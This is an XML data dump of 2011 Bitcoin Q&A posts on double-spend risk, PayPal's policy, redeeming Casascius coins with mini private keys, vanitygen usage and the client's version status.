  <row Id="684" PostTypeId="2" ParentId="437" CreationDate="2011-09-07T00:01:49.050" Score="3" Body="&lt;p&gt;There is really no such thing as the &quot;address my payment will come from&quot;. Transactions can pull in coins from any number of sources which may or may not be associated with addresses. It is definitely not recommended to try to identify payments based on the source address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need to associate a particular payment with a person or account, use an individualized receiving address.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2011-09-07T00:01:49.050" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="685" PostTypeId="2" ParentId="328" CreationDate="2011-09-07T00:46:35.793" Score="6" Body="&lt;p&gt;There are no such arbitrators currently, as far as I know. There have been plans discussed to create trusted sources of Bitcoins. The idea would be that I'd hold my Bitcoins with an e-wallet service and ask them to transfer my coins to you. The e-wallet service would confirm (outside the Bitcoin network) that it was going to send you so many coins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In one plan, the e-wallet service would send you a signed email containing the transaction ID and a copy of the transaction. If a conflicting transaction ever appears in the public block chain, you would have proof that the e-wallet service had cheated you, destroying its reputation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is another method that doesn't require the sender to use an e-wallet service. In this method, a verifier connects to as many Bitcoin clients as possible over as much of the network as possible. He monitors the transactions appearing. If he sees a transaction on all points and doesn't see a conflicting transaction anywhere, the only possible double-spend attack would be to conspire with a miner who happens to mine the next block by luck.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For most transactions, just seeing the transaction posted is sufficient. But if you add in making sure the transaction is seen over most of the network, the risk is low enough to be worth taking for all but the highest-value transactions (say $5,000 or more). For transactions higher than that, it's hard to see how a 10 minute delay is a big deal. But if it is, you'll need to develop a method to handle it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There have also been proposals for &quot;side chains&quot; that generate blocks more quickly and permit transactions to be confirmed faster. However, they're really not suitable for large transactions as they are unlikely to ever see enough hashing power to ensure they're resistant to a 51% attack.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that if you are ever ripped off in this way, you can always prove it. If you see the unconfirmed transaction, you can save it. If no conflicting transaction gets in the block chain, you can still post that unconfirmed transaction. If a conflicting transaction does get in, you'll have both transactions. So you can at least name and shame.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2011-09-07T00:46:35.793" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="686" PostTypeId="2" ParentId="328" CreationDate="2011-09-07T02:45:20.717" Score="2" Body="&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=32818.0&quot; rel=&quot;nofollow&quot;&gt;Instawallet Green Address&lt;/a&gt; is a way to accept bitcoins with zero confirmations and zero  risk of double spend attacks. Of course you still have the risk that Intsawallet is compromised in some way. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, for a lot of application (e.g. coffee shop), you can just accept with 0 confirmations with minimal/almost zero risk. The cost of ripping you off would be much more than the price of the cup of coffee. In fact, I believe Mezza Grill accepts without looking at confirmations at all, just based on the word of the customer than he transferred a few bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not aware of other methods right now, would love to see more answers.&lt;/p&gt;&#xA;" OwnerUserId="78" LastEditorUserId="78" LastEditDate="2011-09-07T04:23:47.077" LastActivityDate="2011-09-07T04:23:47.077" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="687" PostTypeId="1" AcceptedAnswerId="688" CreationDate="2011-09-07T02:53:52.607" Score="18" ViewCount="3420" Body="&lt;p&gt;Paypal claimed they were not allowed to sell Bitcoins, while currently it seems Google Checkout is a viable option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So ... what's the story on this?  Is this true, and if so does anyone know why?&lt;/p&gt;&#xA;" OwnerUserId="78" LastEditorUserId="44" LastEditDate="2011-09-16T15:37:59.657" LastActivityDate="2013-04-20T14:56:45.723" Title="Is it true that Paypal banned Bitcoins, while Google Checkout did not (yet)?" Tags="|trading|legal|paypal|" AnswerCount="6" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="688" PostTypeId="2" ParentId="687" CreationDate="2011-09-07T03:04:29.543" Score="17" Body="&lt;p&gt;I can't speak for why Google Checkout seems to have no problem, it may simply be that they are unaware of Bitcoin as of yet. &lt;strong&gt;Edit:&lt;/strong&gt; &lt;em&gt;A Google Checkout employee has &lt;a href=&quot;http://www.google.com/support/forum/p/checkout-merchants/thread?tid=3dd3aaeb58f9fd94&amp;amp;hl=en&quot;&gt;replied&lt;/a&gt; that they explicitly allow virtual currencies - at least for the time being.&lt;/em&gt; PayPal, on the other hand explicitly bans &quot;the sale of traveler’s checks or money orders, currency exchanges or check cashing&quot; in section 3(f) their &lt;a href=&quot;https://cms.paypal.com/us/cgi-bin/?cmd=_render-content&amp;amp;content_ID=ua/AcceptableUse_full&quot;&gt;acceptable use policy&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="22" LastEditorUserId="22" LastEditDate="2011-09-14T15:59:50.217" LastActivityDate="2011-09-14T15:59:50.217" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="689" PostTypeId="2" ParentId="687" CreationDate="2011-09-07T03:07:15.313" Score="6" Body="&lt;p&gt;Paypal does not allow their service to be used as a currency exchange. They classified Bitcoin as such, so people are forbidden to trade bitcoins using PayPal (see this post about &lt;a href=&quot;http://bitcointalk.org/?topic=2555.msg101084#msg101084&quot;&gt;CoinPal&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Google Checkout either considers that bitcoins are Virtual Goods or simply hasn't made any decision yet. These users selling bitcoins with Google Checkout started their business just a few weeks ago.&lt;/p&gt;&#xA;" OwnerUserId="5" LastActivityDate="2011-09-07T03:07:15.313" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="690" PostTypeId="1" AcceptedAnswerId="691" CreationDate="2011-09-07T03:16:15.377" Score="13" ViewCount="17169" Body="&lt;p&gt;These &lt;a href=&quot;https://bitcointalk.org/index.php?topic=41892.0;all&quot;&gt;physical coins&lt;/a&gt; are supposed to be worth 1 BTC each - they have a hologram and a private key that somehow gives access to a real (digital) Bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the process of claiming this real (digital) BTC for the physical one?&lt;/p&gt;&#xA;" OwnerUserId="78" LastEditorUserId="5406" LastEditDate="2014-05-02T17:48:22.067" LastActivityDate="2014-05-02T17:48:22.067" Title="How can one redeem a Casascius Physical Bitcoin?" Tags="|physical-coins|" AnswerCount="5" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="691" PostTypeId="2" ParentId="690" CreationDate="2011-09-07T03:35:00.077" Score="14" Body="&lt;p&gt;The first 8 characters of the public address are on each coin, which allows you to obtain the full address or check the balance at &lt;a href=&quot;http://www.firstbits.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;FirstBits&lt;/a&gt; or a similar service. Beneath the tamper-evident holographic sticker on each coin is the private address which corresponds to the public address. Once you've obtained both the public and private address, the process for importing this information into an existing wallet has already been documented in &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/447/is-there-some-way-to-merge-two-wallets-or-to-import-export-addresses&quot;&gt;this prior question&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt; &lt;em&gt;On a side note, it's probably worth noting that this process is almost identical to the process used to redeem BitBills&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit 2:&lt;/strong&gt; &lt;em&gt;Apparently these coins use a different private key format than standard. Casascius has published a &lt;a href=&quot;https://github.com/casascius/Bitcoin-Address-Utility&quot; rel=&quot;nofollow noreferrer&quot;&gt;utility&lt;/a&gt; to convert these private keys to standard addresses and more about the &quot;mini private key&quot; format can be found at the &lt;a href=&quot;https://en.bitcoin.it/wiki/Mini_private_key_format&quot; rel=&quot;nofollow noreferrer&quot;&gt;wiki&lt;/a&gt;. For those lacking a copy of Visual Studio, I've &lt;a href=&quot;http://dl.dropbox.com/u/20411213/BtcAddress.zip&quot; rel=&quot;nofollow noreferrer&quot;&gt;compiled a copy&lt;/a&gt; for your convenience. These keys may also be computed using any calculator or code capable of generating an SHA256 hash:&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;SHA256(&quot;S4b3N3oGqDqR5jNuxEvDwf&quot;) = 0C28FCA386C7A227600B2FE50B7CAE11EC86D3BF1FBE471BE89827E19D72AA1D&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Of course that's still in hex and needs to be converted to Bitcoin's modified Base58 but many wallet import tools will accept hex as well.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit 3:&lt;/strong&gt; &lt;em&gt;Just heard from Casascius that we may be able to redeem these coins, as well as any device bearing a mini private key directly at MtGox in the near future.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit 4:&lt;/strong&gt; &lt;em&gt;Support has officially been &lt;a href=&quot;https://bitcointalk.org/index.php?topic=46908.0;all&quot; rel=&quot;nofollow noreferrer&quot;&gt;added&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="22" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:34.187" LastActivityDate="2011-10-07T17:09:56.370" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="692" PostTypeId="2" ParentId="687" CreationDate="2011-09-07T03:36:55.220" Score="8" Body="&lt;p&gt;We don't have any official word from PayPal about why they prohibit these kinds of transactions. The usual conspiracy theory is that these types of commodities could ultimately compete with PayPal so PayPal wants to hold them back. This really doesn't make all that much sense -- PayPal is not going to decide whether Bitcoin succeeds or fails.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The likely explanation is that these types of transactions have a very high fraud rate, particularly buyer fraud. The buyer simply claims he never got his Bitcoins, and PayPal then has to figure out how to verify the transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll notice that most of these sites charge a huge premium (25% or so) over exchange rates. This tends to suggest that they're falling victim to a &quot;fraud spiral&quot;. When an exchange has a high fraud rate because of its more liberal policies, they have to raise their rates. Legitimate users just use other exchanges because they prefer to comply with the more restrictive policies rather than paying a 25% premium. Of course, those trying to commit fraud don't care that the rates are terrible, they're not paying them anyway. So high fraud leads to bad rates which leads to legitimate users leaving and thus a higher percentage of fraud, and so on.&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="85" LastEditDate="2011-09-07T14:14:22.290" LastActivityDate="2011-09-07T14:14:22.290" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="693" PostTypeId="2" ParentId="690" CreationDate="2011-09-07T05:04:02.373" Score="9" Body="&lt;p&gt;I just want to add a few things about the Mini private key format.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is essentially a compressed way to store a bitcoin private key. Casascius coins small, so the private key is represented by 22 characters printed like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;S4b3N&#xA;3oGqDq&#xA;R5jNux&#xA;EvDwf&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To get the real private key, you just have to calculate the SHA-256 hash of the string. There are many &lt;a href=&quot;http://www.xorbin.com/tools/sha256-hash-calculator&quot;&gt;online tools&lt;/a&gt; to calculate hashes and most linux distributions can quickly do it from the terminal:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ echo -n &quot;S4b3N3oGqDqR5jNuxEvDwf&quot; | sha256sum &#xA;0c28fca386c7a227600b2fe50b7cae11ec86d3bf1fbe471be89827e19d72aa1d&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5" LastEditorUserId="5" LastEditDate="2011-09-07T05:20:01.407" LastActivityDate="2011-09-07T05:20:01.407" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="694" PostTypeId="1" CreationDate="2011-09-07T06:10:17.977" Score="5" ViewCount="3165" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Possible Duplicate:&lt;/strong&gt;&lt;br&gt;&#xA;  &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/182/where-do-bitcoins-come-from-and-what-give-them-its-value&quot;&gt;Where do bitcoins come from and what give them its value?&lt;/a&gt;  &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;Often times people ask (shortly after muttering something beanie babies), What gives bitcoins value? What are they backed by? &lt;/p&gt;&#xA;" OwnerUserId="145" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:32.940" LastActivityDate="2011-09-07T08:52:31.690" Title="What gives bitcoins value? What are bitcoins backed by?" Tags="|economic-theory|" AnswerCount="0" CommentCount="0" FavoriteCount="0" ClosedDate="2011-09-07T16:47:54.023" ContentLicense="CC BY-SA 3.0" />
  <row Id="695" PostTypeId="2" ParentId="182" CreationDate="2011-09-07T07:08:54.980" Score="15" Body="&lt;p&gt;That is basically it. They have value because they are scarce, fungible (one Bitcoin is as good as another), easily transferred, and easily verified.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only other component they need to have value is a general agreement that they will be used as a medium of exchange or a prevailing belief that they will be in the future. It is the variation in these two factors that accounts for most of the volatility in the value of Bitcoins today.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They aren't backed by anything because they're a commodity. What is gold backed by?&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2011-09-07T07:08:54.980" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="696" PostTypeId="1" AcceptedAnswerId="698" CreationDate="2011-09-07T08:00:56.773" Score="20" ViewCount="5692" Body="&lt;p&gt;If you are a company wanting to adopt bitcoin as a payment method or an academic wanting to &lt;a href=&quot;https://bitcoin.stackexchange.com/q/36/46&quot;&gt;study the bitcoin market&lt;/a&gt; it is important to know as much as possible about the bitcoin users. Since bitcoin is &lt;a href=&quot;https://bitcoin.stackexchange.com/q/52/46&quot;&gt;pseudonomous&lt;/a&gt; it is hard to gather direct information on the users. However, if users want to make transactions then they need to broadcast to the network. Although the &lt;a href=&quot;https://bitcoin.stackexchange.com/q/193/46&quot;&gt;IPs are not stored in the block-chain, there are ways to learn them&lt;/a&gt;. With the IP addresses, it is possible to use IP Geolocation to get an idea of where the user is. Hence the question:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Is there data available on the geographic location of users of bitcoin? Especially on volume of bitcoin transactions from given geographic areas?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Or is it impossible or unlikely that such data can be gathered? If the majority of users use &lt;a href=&quot;https://www.torproject.org/&quot; rel=&quot;noreferrer&quot;&gt;Tor&lt;/a&gt; for instance, then it would not be possible to get a good location data. Are there other technical constraints that make it impossible to use this or other approaches to learn the geographic locations of a large number of users?&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;h3&gt;Meta note&lt;/h3&gt;&#xA;&lt;p&gt;Since bitcoin is new, it is possible that such data is unavailable yet just due to the novelty. Please don't provide such answers, we can just wait until such a study is done and given as an answer. A 'no' answer is interesting only if it explains a technical constraint that would stop such studies from ever happening.&lt;/p&gt;&#xA;&lt;p&gt;Also, it is possible for a committed user to invest effort in order to hide their location. However, unless there is reason to believe that most users use such efforts, this is also not a very relevant answer.&lt;/p&gt;&#xA;&lt;p&gt;This question is an attempt to turn our &lt;a href=&quot;https://bitcoin.stackexchange.com/q/23/46&quot;&gt;lowest voted question&lt;/a&gt; into a legitimate specific question.&lt;/p&gt;&#xA;" OwnerUserId="46" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2017-03-01T23:00:11.850" Title="Is there data on the geographic distribution of bitcoin users?" Tags="|user-base|" AnswerCount="6" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="697" PostTypeId="2" ParentId="182" CreationDate="2011-09-07T08:52:31.690" Score="4" Body="&lt;p&gt;From my research the best short answer is that they have use value as a medium of value exchange. Their use value comes from having properties of gold (limited supply), and digitally transferable over the internet so can be called digital cash. There is no central authority, so you can trust the wisdom of the crowd. Another good described is a digital distributed notary system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also see this larger discussion: &lt;a href=&quot;http://bitcoinweekly.com/articles/bitcoin-what-is-it&quot; rel=&quot;nofollow&quot;&gt;http://bitcoinweekly.com/articles/bitcoin-what-is-it&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="145" LastActivityDate="2011-09-07T08:52:31.690" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="698" PostTypeId="2" ParentId="696" CreationDate="2011-09-07T08:59:23.650" Score="5" Body="&lt;p&gt;This shows bitcoin nodes based on IP address location.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.weusecoins.com/globe-bitcoin/&quot; rel=&quot;nofollow&quot;&gt;http://www.weusecoins.com/globe-bitcoin/&lt;/a&gt;  (UPDATE: link is broken)&lt;/p&gt;&#xA;" OwnerUserId="145" LastEditorUserId="3779" LastEditDate="2014-05-07T12:06:15.230" LastActivityDate="2014-05-07T12:06:15.230" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="699" PostTypeId="2" ParentId="696" CreationDate="2011-09-07T17:35:44.467" Score="0" Body="&lt;p&gt;There are a number of sources for geographic distribution data, depending on your specific needs. There is an extra-fancy &lt;a href=&quot;http://www.weusecoins.com/globe-bitcoin/&quot; rel=&quot;nofollow&quot;&gt;WebCL globe&lt;/a&gt; with sort of a 3D bar graph showing node density, a simpler &lt;a href=&quot;http://www.bitcoinmap.com/&quot; rel=&quot;nofollow&quot;&gt;Google maps mashup&lt;/a&gt; for those who don't have (or don't need) WebCL and of course neither of those could exist without &lt;a href=&quot;https://smsz.net/btcStats/bitcoin.kml&quot; rel=&quot;nofollow&quot;&gt;raw data&lt;/a&gt; (KML format).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All data is based on IP address geolocation of individual nodes.&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2011-09-07T17:35:44.467" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="700" PostTypeId="1" CreationDate="2011-09-07T18:04:18.973" Score="13" ViewCount="5060" Body="&lt;p&gt;How do you use the vanity name generator to look for an address? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there an estimate on how long it takes to find addresses of varying lengths and complexities?&lt;/p&gt;&#xA;" OwnerUserId="81" LastActivityDate="2019-11-06T19:14:56.743" Title="How can I use the vanity name generator to look for an address?" Tags="|address|vanity-address|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="701" PostTypeId="2" ParentId="700" CreationDate="2011-09-07T18:23:15.717" Score="12" Body="&lt;p&gt;Proper syntax for VanityGen is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Usage: vanitygen [-vqrikNT] [-t &amp;lt;threads&amp;gt;] [-f &amp;lt;filename&amp;gt;|-] [&amp;lt;pattern&amp;gt;...]&#xA;Generates a bitcoin receiving address matching &amp;lt;pattern&amp;gt;, and outputs the&#xA;address and associated private key.  The private key may be stored in a safe&#xA;location or imported into a bitcoin client to spend any balance received on&#xA;the address.&#xA;By default, &amp;lt;pattern&amp;gt; is interpreted as an exact prefix.&#xA;&#xA;Options:&#xA;-v            Verbose output&#xA;-q            Quiet output&#xA;-r            Use regular expression match instead of prefix&#xA;              (Feasibility of expression is not checked)&#xA;-i            Case-insensitive prefix search&#xA;-k            Keep pattern and continue search after finding a match&#xA;-N            Generate namecoin address&#xA;-T            Generate bitcoin testnet address&#xA;-X &amp;lt;version&amp;gt;  Generate address with the given version&#xA;-t &amp;lt;threads&amp;gt;  Set number of worker threads (Default: number of CPUs)&#xA;-f &amp;lt;file&amp;gt;     File containing list of patterns, one per line&#xA;              (Use &quot;-&quot; as the file name for stdin)&#xA;-o &amp;lt;file&amp;gt;     Write pattern matches to &amp;lt;file&amp;gt;&#xA;-s &amp;lt;file&amp;gt;     Seed random number generator from &amp;lt;file&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The important options to know are -i and -r which cause the search to be case-insensitive and use regex, repsectively. In its simplest format, you issue a command like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;vanitygen.exe 1david&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which tells vanity gen to look for an address with the exact prefix &quot;1david.&quot; On a single core of my core i5 this runs at about 325,000 keys per second as shown by the status display (which does show a time estimation.):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;[324.43 Kkey/s][total 15166208][Prob 0.1%][50% in 9.1h]&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using the -i option drastically decreases generation time. &lt;code&gt;vanitygen.exe -i 1david&lt;/code&gt; produced the following results in just a few seconds:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Difficulty: 36384905&#xA;Pattern: 1david&#xA;Address: 1DAVid3iW7XhDBzdoj8FbnaSaqWCjeTgUP&#xA;Privkey: 5JvtXtpUbwbNNqRoQjF3w2nyXHhphJk6LX1pWkPYEkBr4nnnBeL&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The -r option allows the specification of a regex value instead of the default pattern option. If, for example, I demanded that my address contain all lowercase letters but I don't care if the &quot;D&quot; in &quot;David&quot; is uppercase or not, I could use &lt;code&gt;vanitygen.exe -r 1[Dd]avid&lt;/code&gt;. One downside to specifying a regex prefix is that you will not be given any estimated time or probability data since such calculations are not as trivial as matching a simple prefix.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The more specific your matching criteria (and the longer the pattern) the longer it will take to generate your address(es). This can be sped up considerably if you have an ATI/AMD video card since there is also an OpenCL version of VanityGen which can try millions of keys per second on a decent GPU.&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2011-09-07T18:23:15.717" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="702" PostTypeId="2" ParentId="696" CreationDate="2011-09-07T18:24:38.900" Score="3" Body="&lt;p&gt;Quote from question:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Also, it is possible for a committed user to invest effort in order to&#xA;  hide their location. However, unless there is reason to believe that&#xA;  most users use such efforts, this is also not a very relevant answer.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It's not likely that most people will try to &lt;strong&gt;hide&lt;/strong&gt; their location but it's still pretty likely that the location of nodes won't reflect the location of users. Computer usage today is more and more about web applications and less about downloading programs so it's not a wild guess that online wallets will be the choice of most &quot;regular users&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The best source for location data about bitcoin users in the future might prove to be visitor statistics from Bitcoin web sites (merchants, e-wallets, exchanges etc.).&lt;/p&gt;&#xA;" OwnerUserId="105" LastActivityDate="2011-09-07T18:24:38.900" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="703" PostTypeId="1" AcceptedAnswerId="1375" CreationDate="2011-09-07T18:32:14.270" Score="13" ViewCount="4916" Body="&lt;p&gt;Let's say that I have generated some private keys offline and use them for my savings. For my spending money I prefer to use an online wallet instead of downloading the client.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any service online where I can enter&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;My private key&lt;/li&gt;&#xA;&lt;li&gt;A destination address (the online wallet)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;and simply click a button to send the whole balance to the destination address?&lt;/p&gt;&#xA;" OwnerUserId="105" LastEditorUserId="55" LastEditDate="2011-09-08T05:22:30.757" LastActivityDate="2020-03-01T05:28:57.383" Title="How can I &quot;redeem&quot; a private key without downloading a client?" Tags="|client|wallet|services|" AnswerCount="5" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="704" PostTypeId="2" ParentId="703" CreationDate="2011-09-07T18:38:51.713" Score="2" Body="&lt;p&gt;Not that I know of. But so long as you transfer the full balance, that does seem like a reasonable service to provide.&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="85" LastEditDate="2011-09-07T18:53:52.627" LastActivityDate="2011-09-07T18:53:52.627" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="705" PostTypeId="1" AcceptedAnswerId="707" CreationDate="2011-09-07T19:18:02.523" Score="14" ViewCount="789" Body="&lt;p&gt;Who would invest money in a currency, which is held together by some software, which is currently in version 0.3.24? It is like putting ones money in a bank, which is currently undergoing in a test phase.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the rationale behind the decision not to go to 1.0? Obviously the incentives to break the security and steal all the money are there and have been there long enough for it to be deemed secure. I cannot even judge from the homepage, whether the client is in alpha or beta stage.&lt;/p&gt;&#xA;" OwnerUserId="6" LastActivityDate="2011-10-18T14:41:40.713" Title="Why hasn't the Bitcoin client advanced to version 1.0?" Tags="|client|" AnswerCount="4" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="706" PostTypeId="1" AcceptedAnswerId="734" CreationDate="2011-09-07T19:29:07.333" Score="6" ViewCount="1227" Body="&lt;p&gt;I am testing some new code, and need to sort the output of listtransactions. Ultimately I need to verify that there are no duplicate txids.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I output  &lt;code&gt;./bitcoind -datadir=1 listtransactions &quot;*&quot;&lt;/code&gt; to a logfile, or sort it directly in the terminal window?&lt;/p&gt;&#xA;" OwnerUserId="27" LastEditorUserId="55" LastEditDate="2011-09-08T05:22:57.667" LastActivityDate="2012-02-20T19:54:45.123" Title="How do I sort the output of listtransactions &quot;*&quot;?" Tags="|ubuntu|bitcoind|" AnswerCount="4" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="707" PostTypeId="2" ParentId="705" CreationDate="2011-09-07T19:32:28.587" Score="14" Body="&lt;p&gt;The software is definitely in beta at the moment. There are many things that need working out before version 1.0 can be declared, like the blockchain for instance - many works in progress. And they're about to completely change the GUI to QT so it certainly wouldn't make sense to declare v1 just before releasing something a lot closer to the actual v1. Patience :)&lt;/p&gt;&#xA;" OwnerUserId="129" LastActivityDate="2011-09-07T19:32:28.587" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="708" PostTypeId="2" ParentId="705" CreationDate="2011-09-07T19:36:54.050" Score="6" Body="&lt;p&gt;Software version numbers (as well as &lt;a href=&quot;http://en.wikipedia.org/wiki/Software_versioning#Version_1.0_as_a_milestone&quot; rel=&quot;nofollow noreferrer&quot;&gt;standards&lt;/a&gt; of when to do the 1.0 release) are somewhat arbitrary:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Proprietary software developers often start at version 1 for the first release of a program and increment the major version number with each rewrite. This can mean that a program can reach version 3 within a few months of development, before it is considered stable or reliable.&lt;/p&gt;&#xA;&lt;p&gt;In contrast to this, the free-software community tends to use version 1.0 as a major milestone, indicating that the software is &amp;quot;complete&amp;quot;, that it has all major features, and is considered reliable enough for general release.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;By the above standard for Free Software, the mainline Bitcoin client is not yet feature-complete.  Wallet encryption hasn't been enabled, scripting features aren't implemented, the GUI is still being overhauled, and the transaction fee mechanism is not finalized, to name a few things.&lt;/p&gt;&#xA;" OwnerUserId="50" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2011-09-07T19:36:54.050" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="709" PostTypeId="2" ParentId="705" CreationDate="2011-09-07T19:37:45.453" Score="5" Body="&lt;p&gt;It's probably best to let the core developers answer this one...however, I'll offer a few educated guesses:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The user interface is still very technically oriented&lt;/li&gt;&#xA;&lt;li&gt;It does not encrypt your wallet (thus leaving your coins highly exposed to theft if you don't take precautions to secure them)&lt;/li&gt;&#xA;&lt;li&gt;It does not backup your wallet (not easily anyway), hence if you accidentally erase it and haven't taken steps to back it up yourself, you've lost your coins&lt;/li&gt;&#xA;&lt;li&gt;It doesn't have more advanced features to prevent theft such as multi-factor transaction signing&lt;/li&gt;&#xA;&lt;li&gt;It doesn't offer any easy ways of making hard copy, encrypted paper backups of the wallet&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;For the reasons above, the Bitcoin client really isn't well suited to the non tech savvy user and giving it a pre-1.0 version number will cause people like yourself to stop and ask why before using it.  I recommend that if you do use the bitcoin client that you educate yourself in these matters and don't try to handle a large amount of bitcoins until you're confident you know what your doing.&lt;/p&gt;&#xA;" OwnerUserId="42" LastActivityDate="2011-09-07T19:37:45.453" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="710" PostTypeId="2" ParentId="687" CreationDate="2011-09-07T19:38:49.293" Score="-3" Body="&lt;p&gt;Google built its own library to handle bitcoin. They also have the google wallet and nfc coming out. If you put all this together google could be positioning itself to become the best bitcoin ewallet.&lt;/p&gt;&#xA;" OwnerUserId="205" LastActivityDate="2011-09-07T19:38:49.293" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
